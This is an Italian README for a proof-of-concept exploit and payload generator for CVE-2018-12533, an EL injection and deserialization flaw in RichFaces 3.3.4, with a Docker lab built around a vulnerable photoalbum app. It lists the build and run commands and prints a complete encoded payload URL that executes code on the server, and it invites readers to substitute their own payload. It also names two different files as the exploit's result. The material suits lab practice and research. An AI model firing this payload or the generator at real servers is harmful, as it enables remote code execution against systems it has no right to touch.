
Generatore di payload ed exploit proof-of-concept per CVE-2018-12533 (deserializzazione/iniezione EL in Richfaces) con ambiente vulnerabile basato su Docker per esercitarsi.
Basato sulla ricerca di Lucifaer
Tutto il merito va a https://github.com/Lucifaer
https://access.redhat.com/security/cve/cve-2018-12533
Proof of concept facile da distribuire per praticare lo sfruttamento della deserializzazione di Richfaces 3.3.4 e dell'iniezione EL, senza doversi preoccupare troppo di vecchie versioni Java, ecc.
Per risparmiarti qualche problema nella configurazione di un'applicazione vulnerabile, ho creato un Dockerfile basato sulle istruzioni nell'articolo seclist che spiega CVE-2018-14667. Basta eseguire i seguenti comandi nella directory principale del repository:
docker build -t richfaces-jboss .
docker run -p 8081:8080 richfaces-jboss
Se tutto funziona, puoi accedere all'applicazione di test richfaces photoalbum su http://127.0.0.1:8081/photoalbum
cd CVE-2018-12533
docker run -v ~/.m2:/root/.m2 -v $(pwd):/usr/src/app maven:3.5-jdk-8 mvn -f /usr/src/app/pom.xml clean package install
java -jar target/cve_2018_12533.jar
cambia la sezione /DATA/XXXXX con il tuo payload se vuoi fare qualcosa di diverso dalla creazione di un file in /tmp. Questo payload crea /tmp/hacked.txt http://127.0.0.1:8081/photoalbum/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/eAHNUk1r1UAUnfegVq2L-oEiItQo-goyKSJu6gOxFX2QWukTwbp4zEtuk2knM-nkpo0W3Qmi4satIOJKUBD9Be6k4KY!QQRxIYggLvVOUlssuDebXGbOnHPuufflVzaQW3bG2JhbGSZzIoScW9AR2AWJPMFU8StCajw1OQO5KWwIxzqpiGFSoGi!X!s4!OvF6yYb7LDtvX48YZSxHTbYmzM2FeiqBGScULWttywjTGbZjlCECYi-goAN9CKiQbYnmBdLwldCx!50fx5CHA!oReaEF9kd1igzVn9N-pWMNU6yjHwfd89KXrsOTZoZDRp5lzjhklHURFcsgb2--rb9-MmHqSZrBqSvRJ5fFin8rdtFK3VMujtzehNVHMj2186k8btgpVDylnM-XmZO!gRJ8rzQlQEFmHNQPIBYhDenABMTnZc6ItJ1740mawSskSI7VLGWPii!Bl4oMwt5Lo0m6n8xXxXxVvQf5l2UimUH6zjIxFbcG3!1waefpx9RfITbu4Hb1H1-9373--zaWYdwDo64lZjvm7xqaitfJ81U!9uBH0Pvdk85bTekoeWH7N7RFQuLBeTIY8AJl3RrdKMMjKCR0IGior70nBXuBs9nCo0yBa!C14Itj1g2z6VeMgvQ0oVSoxxKCFsemiJMRnxMMz8R4QJEHEv0Rm8zVlCfN6qca!r1-b5au!b5y-GVi1WfFF8T2b7KgzR8usCsQAKCoCENb1qrdzLLyuVn7OnIubGTYyNtLyQYwoTRSDvX!l8a98rfWVxP3w__.jsf
docker ps
docker exec -it <containerid> bash
ls /tmp
Quando si utilizza l'exploit così com'è, creerà /tmp/cve_2018_12533, quindi in questo modo puoi confermare se l'exploit ha funzionato.